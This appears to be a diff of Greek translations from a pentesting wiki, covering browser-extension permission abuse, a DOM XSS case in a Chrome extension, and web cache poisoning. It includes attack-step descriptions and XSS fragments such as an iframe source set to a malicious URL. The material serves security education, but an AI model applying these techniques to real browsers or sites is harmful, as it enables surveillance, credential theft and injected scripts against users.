> Όχι μόνο αυτό, οι ακροατές όπως [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **γίνονται πολύ πιο χρήσιμοι επίσης**. Αυτοί θα ειδοποιούνται όποτε φορτώνει μια νέα σελίδα σε μια καρτέλα.
|
||||
> Όχι μόνο αυτό, οι listeners όπως [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **γίνονται επίσης πολύ πιο χρήσιμοι**. Αυτοί θα ειδοποιούνται όποτε φορτώνεται μια νέα σελίδα σε μια καρτέλα.
|
||||
|
||||
### Εκτέλεση περιεχομένου scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
|
||||
|
||||
Τα scripts περιεχομένου δεν είναι απαραίτητο να είναι γραμμένα στατικά στο μανιφέστο της επέκτασης. Δεδομένων επαρκών **`host_permissions`**, **οι επεκτάσεις μπορούν επίσης να τα φορτώνουν δυναμικά καλώντας** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ή** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
||||
Τα περιεχόμενα scripts δεν είναι απαραίτητο να είναι γραμμένα στατικά στο μανιφέστο της επέκτασης. Δεδομένων επαρκών **`host_permissions`**, **οι επεκτάσεις μπορούν επίσης να τα φορτώνουν δυναμικά καλώντας** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ή** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
||||
|
||||
Και οι δύο APIs επιτρέπουν την εκτέλεση όχι μόνο αρχείων που περιέχονται στις επεκτάσεις ως scripts περιεχομένου αλλά και **τυχαίου κώδικα**. Ο πρώτος επιτρέπει την παράδοση κώδικα JavaScript ως συμβολοσειρά, ενώ ο δεύτερος αναμένει μια συνάρτηση JavaScript που είναι λιγότερο επιρρεπής σε ευπάθειες εισαγωγής. Ωστόσο, και οι δύο APIs θα προκαλέσουν χάος αν χρησιμοποιηθούν λανθασμένα.
|
||||
Και οι δύο APIs επιτρέπουν την εκτέλεση όχι μόνο αρχείων που περιέχονται στις επεκτάσεις ως περιεχόμενο scripts αλλά και **τυχαίου κώδικα**. Ο πρώτος επιτρέπει την παράδοση κώδικα JavaScript ως συμβολοσειρά, ενώ ο δεύτερος αναμένει μια συνάρτηση JavaScript που είναι λιγότερο επιρρεπής σε ευπάθειες εισαγωγής. Ωστόσο, και οι δύο APIs θα προκαλέσουν χάος αν χρησιμοποιηθούν λανθασμένα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Εκτός από τις παραπάνω δυνατότητες, τα scripts περιεχομένου θα μπορούσαν για παράδειγμα να **παρακολουθούν διαπιστευτήρια** καθώς εισάγονται σε ιστοσελίδες. Ένας άλλος κλασικός τρόπος κατάχρησης τους είναι **η εισαγωγή διαφημίσεων** σε κάθε ιστοσελίδα. Είναι επίσης δυνατή η προσθήκη **μηνυμάτων απάτης** για να καταχραστούν την αξιοπιστία των ιστοσελίδων ειδήσεων. Τέλος, θα μπορούσαν να **χειραγωγήσουν ιστοσελίδες τραπεζών** για να ανακατευθύνουν μεταφορές χρημάτων.
|
||||
> Εκτός από τις παραπάνω δυνατότητες, τα περιεχόμενα scripts θα μπορούσαν για παράδειγμα να **παρακολουθούν διαπιστευτήρια** καθώς εισάγονται σε ιστοσελίδες. Ένας άλλος κλασικός τρόπος κατάχρησης τους είναι **η εισαγωγή διαφημίσεων** σε κάθε ιστοσελίδα. Είναι επίσης δυνατή η προσθήκη **μηνυμάτων απάτης** για να καταχραστούν την αξιοπιστία των ιστοσελίδων ειδήσεων. Τέλος, θα μπορούσαν να **χειραγωγήσουν ιστοσελίδες τραπεζών** για να ανακατευθύνουν μεταφορές χρημάτων.
|
||||
|
||||
### Έμμεσες προνόμια <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
Ορισμένα προνόμια επεκτάσεων **δεν χρειάζεται να δηλωθούν ρητά**. Ένα παράδειγμα είναι το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): η βασική του λειτουργικότητα είναι προσβάσιμη χωρίς κανένα προνόμιο. Οποιαδήποτε επέκταση μπορεί να ειδοποιηθεί όταν ανοίγεις και κλείνεις καρτέλες, απλώς δεν θα γνωρίζει ποια ιστοσελίδα αντιστοιχεί σε αυτές τις καρτέλες.
|
||||
Ορισμένα προνόμια επεκτάσεων **δεν χρειάζεται να δηλωθούν ρητά**. Ένα παράδειγμα είναι το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): η βασική του λειτουργικότητα είναι προσβάσιμη χωρίς κανένα προνόμιο. Οποιαδήποτε επέκταση μπορεί να ειδοποιηθεί όταν ανοίγετε και κλείνετε καρτέλες, απλώς δεν θα γνωρίζει ποια ιστοσελίδα αντιστοιχεί σε αυτές τις καρτέλες.
|
||||
|
||||
Ακούγεται πολύ αθώο; Το [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) είναι κάπως λιγότερο. Μπορεί να χρησιμοποιηθεί για **δημιουργία νέας καρτέλας**, ουσιαστικά το ίδιο με το [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) που μπορεί να κληθεί από οποιαδήποτε ιστοσελίδα. Ωστόσο, ενώ το `window.open()` υπόκειται στον **φραγμό αναδυόμενων παραθύρων, το `tabs.create()` δεν υπόκειται**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Μια επέκταση μπορεί να δημιουργήσει οποιονδήποτε αριθμό καρτελών όποτε θέλει.
|
||||
|
||||
Αν κοιτάξεις τις πιθανές παραμέτρους του `tabs.create()`, θα παρατηρήσεις επίσης ότι οι δυνατότητές του ξεπερνούν κατά πολύ όσα επιτρέπεται να ελέγχει το `window.open()`. Και ενώ ο Firefox δεν επιτρέπει τη χρήση `data:` URIs με αυτό το API, ο Chrome δεν έχει τέτοια προστασία. **Η χρήση τέτοιων URIs σε ανώτατο επίπεδο έχει** [**απαγορευτεί λόγω κατάχρησης για phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
Αν κοιτάξετε τις πιθανές παραμέτρους του `tabs.create()`, θα παρατηρήσετε επίσης ότι οι δυνατότητές του ξεπερνούν κατά πολύ όσα επιτρέπεται να ελέγχει το `window.open()`. Και ενώ ο Firefox δεν επιτρέπει τη χρήση `data:` URIs με αυτό το API, το Chrome δεν έχει τέτοια προστασία. **Η χρήση τέτοιων URIs σε ανώτατο επίπεδο έχει** [**απαγορευτεί λόγω κατάχρησης για phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) είναι πολύ παρόμοιο με το `tabs.create()` αλλά θα **τροποποιήσει μια υπάρχουσα καρτέλα**. Έτσι, μια κακόβουλη επέκταση μπορεί για παράδειγμα να φορτώσει τυχαία μια διαφημιστική σελίδα σε μία από τις καρτέλες σου, και μπορεί επίσης να ενεργοποιήσει την αντίστοιχη καρτέλα.
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) είναι πολύ παρόμοιο με το `tabs.create()` αλλά θα **τροποποιήσει μια υπάρχουσα καρτέλα**. Έτσι, μια κακόβουλη επέκταση μπορεί για παράδειγμα να φορτώσει τυχαία μια διαφημιστική σελίδα σε μία από τις καρτέλες σας, και μπορεί επίσης να ενεργοποιήσει την αντίστοιχη καρτέλα.
|
||||
|
||||
### Webcam, γεωγραφική τοποθεσία και φίλοι <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
### Webcam, γεωεντοπισμός και φίλοι <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
Πιθανώς γνωρίζεις ότι οι ιστοσελίδες μπορούν να ζητούν ειδικά προνόμια, π.χ. προκειμένου να έχουν πρόσβαση στην κάμερα σου (εργαλεία βιντεοδιάσκεψης) ή γεωγραφική τοποθεσία (χάρτες). Είναι δυνατότητες με σημαντικό δυναμικό κατάχρησης, οπότε οι χρήστες κάθε φορά πρέπει να επιβεβαιώνουν ότι θέλουν ακόμα αυτό.
|
||||
Πιθανώς γνωρίζετε ότι οι ιστοσελίδες μπορούν να ζητούν ειδικά προνόμια, π.χ. προκειμένου να αποκτήσουν πρόσβαση στην κάμερα σας (εργαλεία βιντεοδιάσκεψης) ή γεωγραφική τοποθεσία (χάρτες). Είναι δυνατότητες με σημαντικό δυναμικό κατάχρησης, οπότε οι χρήστες κάθε φορά πρέπει να επιβεβαιώνουν ότι εξακολουθούν να θέλουν αυτό.
|
||||
|
||||
> [!CAUTION]
|
||||
> Όχι έτσι με τις επεκτάσεις προγράμματος περιήγησης. **Αν μια επέκταση προγράμματος περιήγησης** [**θέλει πρόσβαση στην κάμερα ή το μικρόφωνό σου**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, χρειάζεται να ζητήσει άδεια μόνο μία φορά**
|
||||
> Όχι έτσι με τις επεκτάσεις προγράμματος περιήγησης. **Αν μια επέκταση προγράμματος περιήγησης** [**θέλει πρόσβαση στην κάμερα ή το μικρόφωνό σας**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, χρειάζεται να ζητήσει άδεια μόνο μία φορά**
|
||||
|
||||
Συνήθως, μια επέκταση θα το κάνει αυτό αμέσως μετά την εγκατάσταση. Μόλις αυτή η προτροπή γίνει αποδεκτή, **η πρόσβαση στην κάμερα είναι δυνατή οποιαδήποτε στιγμή**, ακόμα και αν ο χρήστης δεν αλληλεπιδρά με την επέκταση σε αυτό το σημείο. Ναι, ένας χρήστης θα αποδεχτεί αυτή την προτροπή μόνο αν η επέκταση χρειάζεται πραγματικά πρόσβαση στην κάμερα. Αλλά μετά από αυτό, πρέπει να εμπιστεύονται την επέκταση να μην καταγράφει τίποτα μυστικά.
|
||||
Συνήθως, μια επέκταση θα το κάνει αυτό αμέσως μετά την εγκατάσταση. Μόλις γίνει αποδεκτή αυτή η προτροπή, **η πρόσβαση στην κάμερα είναι δυνατή ανά πάσα στιγμή**, ακόμη και αν ο χρήστης δεν αλληλεπιδρά με την επέκταση σε αυτό το σημείο. Ναι, ένας χρήστης θα αποδεχτεί αυτή την προτροπή μόνο αν η επέκταση χρειάζεται πραγματικά πρόσβαση στην κάμερα. Αλλά μετά από αυτό, πρέπει να εμπιστευτούν την επέκταση να μην καταγράψει τίποτα μυστικά.
|
||||
|
||||
Με πρόσβαση στην [ακριβή γεωγραφική τοποθεσία σου](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ή [περιεχόμενα του clipboard σου](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), η ρητή χορήγηση άδειας είναι εντελώς περιττή. **Μια επέκταση απλώς προσθέτει `geolocation` ή `clipboard` στην** [**είσοδο permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **του μανιφέστ της.** Αυτά τα προνόμια πρόσβασης χορηγούνται έμμεσα όταν εγκαθίσταται η επέκταση. Έτσι, μια κακόβουλη ή παραβιασμένη επέκταση με αυτά τα προνόμια μπορεί να δημιουργήσει το προφίλ κίνησής σου ή να παρακολουθεί το clipboard σου για κωδικούς πρόσβασης χωρίς να το παρατηρήσεις.
|
||||
Με πρόσβαση στην [ακριβή γεωγραφική σας τοποθεσία](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ή [περιεχόμενα του clipboard σας](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), η ρητή χορήγηση άδειας είναι εντελώς περιττή. **Μια επέκταση απλώς προσθέτει `geolocation` ή `clipboard` στην** [**είσοδο permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **του μανιφέστου της.** Αυτά τα δικαιώματα πρόσβασης χορηγούνται έμμεσα όταν εγκαθίσταται η επέκταση. Έτσι, μια κακόβουλη ή παραβιασμένη επέκταση με αυτά τα προνόμια μπορεί να δημιουργήσει το προφίλ κίνησής σας ή να παρακολουθεί το clipboard σας για κωδικούς πρόσβασης χωρίς να το παρατηρήσετε.
|
||||
|
||||
Η προσθήκη της λέξης-κλειδί **`history`** στην [είσοδο permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) του μανιφέστ της επέκτασης χορηγεί **πρόσβαση στο** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Επιτρέπει την ανάκτηση ολόκληρης της ιστορικότητας περιήγησης του χρήστη ταυτόχρονα, χωρίς να περιμένει ο χρήστης να επισκεφθεί ξανά αυτές τις ιστοσελίδες.
|
||||
Η προσθήκη της λέξης-κλειδί **`history`** στην [είσοδο permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) του μανιφέστου της επέκτασης χορηγεί **πρόσβαση στο** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Επιτρέπει την ανάκτηση ολόκληρης της ιστορικότητας περιήγησης του χρήστη ταυτόχρονα, χωρίς να περιμένει ο χρήστης να επισκεφθεί ξανά αυτές τις ιστοσελίδες.
|
||||
|
||||
Η **άδεια `bookmarks`** έχει παρόμοιο δυναμικό κατάχρησης, αυτή επιτρέπει **την ανάγνωση όλων των σελιδοδεικτών μέσω του** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||
|
||||
### Άδεια αποθήκευσης <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
Η αποθήκευση της επέκτασης είναι απλώς μια συλλογή κλειδιού-τιμής, πολύ παρόμοια με το [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) που θα μπορούσε να χρησιμοποιήσει οποιαδήποτε ιστοσελίδα. Έτσι, καμία ευαίσθητη πληροφορία δεν θα πρέπει να αποθηκεύεται εδώ.
|
||||
Η αποθήκευση της επέκτασης είναι απλώς μια συλλογή κλειδιών-τιμών, πολύ παρόμοια με το [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) που θα μπορούσε να χρησιμοποιήσει οποιαδήποτε ιστοσελίδα. Έτσι, καμία ευαίσθητη πληροφορία δεν θα πρέπει να αποθηκεύεται εδώ.
|
||||
|
||||
Ωστόσο, οι διαφημιστικές εταιρείες θα μπορούσαν επίσης να καταχραστούν αυτή την αποθήκευση.
|
||||
|
||||
### Περισσότερες άδειες
|
||||
|
||||
Μπορείς να βρεις τη [**συμπληρωματική λίστα αδειών που μπορεί να ζητήσει μια επέκταση Chromium Browser εδώ**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) και μια [**συμπληρωματική λίστα για τις επεκτάσεις Firefox εδώ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
|
||||
Μπορείτε να βρείτε τη [**συμπληρωματική λίστα αδειών που μπορεί να ζητήσει μια επέκταση Chromium Browser εδώ**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) και μια [**συμπληρωματική λίστα για τις επεκτάσεις Firefox εδώ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
|
||||
|
||||
## Πρόληψη <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
Η πολιτική των προγραμματιστών της Google απαγορεύει ρητά στις επεκτάσεις να ζητούν περισσότερα προνόμια από όσα είναι απαραίτητα για τη λειτουργικότητά τους, μειώνοντας αποτελεσματικά τις υπερβολικές αιτήσεις αδειών. Ένα παράδειγμα όπου μια επέκταση προγράμματος περιήγησης υπερέβη αυτό το όριο περιλάμβανε τη διανομή της με τον ίδιο τον περιηγητή αντί μέσω ενός καταστήματος προσθέτων.
|
||||
|
||||
Οι περιηγητές θα μπορούσαν περαιτέρω να περιορίσουν την κακή χρήση των προνομίων επεκτάσεων. Για παράδειγμα, τα [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) και [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs του Chrome, που χρησιμοποιούνται για την καταγραφή οθόνης, έχουν σχεδιαστεί για να ελαχιστοποιούν την κατάχρηση. Το API tabCapture μπορεί να ενεργοποιηθεί μόνο μέσω άμεσης αλληλεπίδρασης του χρήστη, όπως το κλικ στο εικονίδιο της επέκτασης, ενώ το desktopCapture απαιτεί επιβεβαίωση του χρήστη για το παράθυρο που θα καταγραφεί, αποτρέποντας κρυφές δραστηριότητες καταγραφής.
|
||||
Οι περιηγητές θα μπορούσαν περαιτέρω να περιορίσουν την κακή χρήση των προνομίων των επεκτάσεων. Για παράδειγμα, τα [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) και [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs του Chrome, που χρησιμοποιούνται για την καταγραφή οθόνης, έχουν σχεδιαστεί για να ελαχιστοποιούν την κατάχρηση. Το API tabCapture μπορεί να ενεργοποιηθεί μόνο μέσω άμεσης αλληλεπίδρασης του χρήστη, όπως το κλικ στο εικονίδιο της επέκτασης, ενώ το desktopCapture απαιτεί επιβεβαίωση του χρήστη για το παράθυρο που θα καταγραφεί, αποτρέποντας κρυφές δραστηριότητες καταγραφής.
|
||||
|
||||
Ωστόσο, η αυστηροποίηση των μέτρων ασφαλείας συχνά έχει ως αποτέλεσμα τη μείωση της ευελιξίας και της φιλικότητας προς τον χρήστη των επεκτάσεων. Η [άδεια activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) απεικονίζει αυτή την ανταλλαγή. Εισήχθη για να εξαλείψει την ανάγκη για επεκτάσεις να ζητούν προνόμια host σε ολόκληρο το διαδίκτυο, επιτρέποντας στις επεκτάσεις να έχουν πρόσβαση μόνο στην τρέχουσα καρτέλα κατόπιν ρητής ενεργοποίησης από τον χρήστη. Αυτό το μοντέλο είναι αποτελεσματικό για επεκτάσεις που απαιτούν ενέργειες που ξεκινούν από τον χρήστη, αλλά αποτυγχάνει για εκείνες που απαιτούν αυτόματες ή προληπτικές ενέργειες, υπονομεύοντας έτσι την ευκολία και την άμεση ανταπόκριση.
|
||||
Ωστόσο, η αυστηροποίηση των μέτρων ασφαλείας συχνά έχει ως αποτέλεσμα τη μείωση της ευελιξίας και της φιλικότητας προς τον χρήστη των επεκτάσεων. Η [άδεια activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) απεικονίζει αυτή την ανταλλαγή. Εισήχθη για να εξαλείψει την ανάγκη για τις επεκτάσεις να ζητούν δικαιώματα host σε ολόκληρο το διαδίκτυο, επιτρέποντας στις επεκτάσεις να έχουν πρόσβαση μόνο στην τρέχουσα καρτέλα κατόπιν ρητής ενεργοποίησης από τον χρήστη. Αυτό το μοντέλο είναι αποτελεσματικό για επεκτάσεις που απαιτούν ενέργειες που ξεκινούν ο χρήστης αλλά αποτυγχάνει για εκείνες που απαιτούν αυτόματες ή προληπτικές ενέργειες, υπονομεύοντας έτσι την ευκολία και την άμεση ανταπόκριση.
|
||||
|
||||
## **Αναφορές**
|
||||
|
||||
|
@ -46,7 +46,7 @@ document.querySelector("iframe").src = maliciousURL
|
||||
```
|
||||
επιτρέπει την εκτέλεση JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS.
|
||||
|
||||
Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως την παράμετρο `content`:
|
||||
Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως παράμετρο `content`:
|
||||
```javascript
|
||||
let newFrame = document.createElement("iframe")
|
||||
newFrame.src =
|
||||
@ -78,7 +78,7 @@ $("section.bookmark-container .existing-items").append(bookmarkItem)
|
||||
persistData()
|
||||
})
|
||||
```
|
||||
Αυτό το απόσπασμα ανακτά την **τιμή** από το **`txtName`** πεδίο εισόδου και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προστίθεται στο DOM χρησιμοποιώντας τη συνάρτηση `.append()` της jQuery.
|
||||
Αυτό το απόσπασμα ανακτά την **τιμή** από το πεδίο εισόδου **`txtName`** και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προσαρτάται στο DOM χρησιμοποιώντας τη συνάρτηση `.append()` της jQuery.
|
||||
|
||||
Συνήθως, η Πολιτική Ασφαλείας Περιεχομένου (CSP) της επέκτασης Chrome θα εμπόδιζε τέτοιες ευπάθειες. Ωστόσο, λόγω της **χαλάρωσης CSP με ‘unsafe-eval’** και της χρήσης μεθόδων χειρισμού DOM της jQuery (οι οποίες χρησιμοποιούν [`globalEval()`](https://api.jquery.com/jquery.globaleval/) για να περάσουν σενάρια στο [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι ακόμα δυνατή.
|
||||
|
||||
|
@ -13,11 +13,11 @@
|
||||
|
||||
Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache.
|
||||
|
||||
Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα:
|
||||
Η εκτέλεση μιας επίθεσης δηλητηρίασης μνήμης cache περιλαμβάνει αρκετά βήματα:
|
||||
|
||||
1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
|
||||
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
|
||||
3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.
|
||||
1. **Αναγνώριση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
|
||||
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού αναγνωριστούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την εύρεση τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
|
||||
3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης που έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
@ -47,7 +47,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Λάβετε την απάντηση που έχει αποθηκευτεί στην cache
|
||||
|
||||
Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να αποθηκεύσετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
|
||||
Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα αποθηκευμένη στην cache. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
|
||||
|
||||
Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν αποθηκεύτηκε στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένο.\
|
||||
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
|
||||
@ -56,7 +56,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Μια ακόμη κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
|
||||
|
||||
Όταν αποθηκεύετε ένα αίτημα στην cache, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια Δηλητηρίαση Cache με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
|
||||
Όταν αποθηκεύετε ένα αίτημα στην cache, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση cache με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
|
||||
|
||||
## Παραδείγματα Εκμετάλλευσης
|
||||
|
||||
@ -77,7 +77,7 @@ _Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτ
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Χρησιμοποιώντας τη δηλητηρίαση cache του ιστού για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookies
|
||||
### Χρησιμοποιώντας τη δηλητηρίαση web cache για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookie
|
||||
|
||||
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απόκριση cache.
|
||||
```markup
|
||||
@ -160,7 +160,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατόν να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
|
||||
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, επομένως ήταν δυνατόν να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
@ -168,7 +168,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
